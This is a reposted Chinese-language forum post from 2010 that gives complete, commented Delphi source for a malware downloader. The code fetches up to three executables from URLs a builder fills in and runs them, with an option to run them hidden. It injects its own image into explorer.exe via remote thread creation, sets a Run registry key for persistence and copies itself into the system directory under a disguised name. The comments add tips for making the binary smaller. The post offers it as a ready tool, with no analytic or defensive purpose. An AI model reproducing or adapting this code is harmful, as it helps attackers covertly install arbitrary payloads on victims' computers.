[轉貼] delphi下載者源碼

本帖最後由 piece 於 2010-8-22 16:06 編輯

program downloader;
{$IMAGEBASE $13140000}
uses
Windows,
SysUtils,
urlmon, //下載單元，這個改api減少體積不多
Registry; //注冊表單元,這個可以改成api，會減少很多體積
var
url: pchar =' '; //依次3個留出了生成器寫入下載地址的位置
url2: pchar =' ';
url3: pchar =' ';
procedure Download; //下載過程
begin
URLDownloadToFile(nil, url, 'C:\windows\temp\system.exe', 0, nil); //下載文件
WinExec('C:\windows\temp\system.exe', SW_SHOW); //SW_SHOW or SW_HIDE //執行文件 sw_show是顯示運行，sw_hide是隱藏運行
URLDownloadToFile(nil, url2, 'C:\windows\temp\system2.exe', 0, nil);
WinExec('C:\windows\temp\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE //winexec可以用api寫，減少體積
URLDownloadToFile(nil, url3, 'C:\windows\temp\system3.exe', 0, nil);
WinExec('C:\windows\temp\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
reg:TRegistry;
sysdir:array[0..50] of char;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//獲取Exp進程的PID碼,Shell_TrayWnd為類名,相關的需用SPY++來查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打開進程
hModule := Pointer(GetModuleHandle(nil));
//這裡得到的值為一個返回一個指針型變量,指向內容包括自身映像的基址和長度
Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到內存映像的長度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp進程的內存範圍內釋放一個足夠長度的內存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//確定起始基址和內存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//確定上面各項數據後,這裡開始進行操作
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立遠程線程,至此注入過程完成
CloseHandle(ProcessHandle);
//關閉對像
{上面這段代碼是插進程explorer.exe}
begin
Reg := TRegistry.Create;
Try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('system', 'intenat.exe'); //寫入數據
Reg.CloseKey;
Finally
Reg.Free;
End;
//上面是寫注冊表代碼
GetSystemDirectory(sysdir,50); //獲取系統目錄，賦給sysdir變量，getwindowsdirectory是獲取windows目錄
if not FileExists(sysdir+'\intenat.exe') then //如果系統目錄下不存在intenat.exe則執行
copyfile(pchar(paramstr(0)),pchar(sysdir+'\intenat.exe'),true); //復制自身到系統目錄下，名字是intenat.exe
end;
end.